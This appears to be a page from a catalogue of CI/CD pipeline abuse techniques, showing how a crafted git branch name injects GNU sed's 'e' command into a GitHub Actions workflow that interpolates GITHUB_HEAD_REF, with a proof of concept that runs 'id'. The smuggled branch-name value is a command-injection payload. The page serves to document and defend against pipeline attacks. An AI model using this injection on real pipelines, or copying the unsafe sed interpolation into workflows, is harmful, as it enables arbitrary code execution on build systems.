$ git switch -c 'a/g;1eid;' && export GITHUB_HEAD_REF="$(git branch --show-current)" && gsed -i "s/git_branch=.*/git_branch=$GITHUB_HEAD_REF/g" config.ini
Switched to a new branch 'a/g;1eid;'
sh: /g: No such file or directory
$ git diff
diff --git a/config.ini b/config.ini
index c4ff908..3309a10 100644
--- a/config.ini
+++ b/config.ini
@@ -1 +1,2 @@
-git_branch=bla
+uid=501(john) gid=20(staff) ...
+git_branch=a
Configuration
-f command_file
Append the editing commands found in the file command_file to the list of commands. The editing commands should each be listed
on a separate line. The commands are read from the standard input if command_file is “-”.
e
Executes the command that is found in pattern space and replaces the pattern space with the output; a trailing newline is suppressed.
e command
Executes command and sends its output to the output stream. The command can run across multiple lines, all but the last ending with a back-slash.
Real-world example
Seen in the wild:
- name: Override git_branch for PR
run: |
# Replace "git_branch" with "git_branch: $GITHUB_HEAD_REF" in config.json
sed -i "s|git_branch = .*|git_branch = \"$GITHUB_HEAD_REF\"|" config.json
Description of the LOTP tool
sed
is line-oriented text processing utility that processes input streams or files and has many capabilities to modify text files efficiently.GNU
sed
has ane
command to execute non interactive commands (see https://gtfobins.github.io/gtfobins/sed/#command)POC
Configuration
Documentation
https://www.gnu.org/software/sed/manual/sed.html#sed-commands-list
Real-world example
Seen in the wild: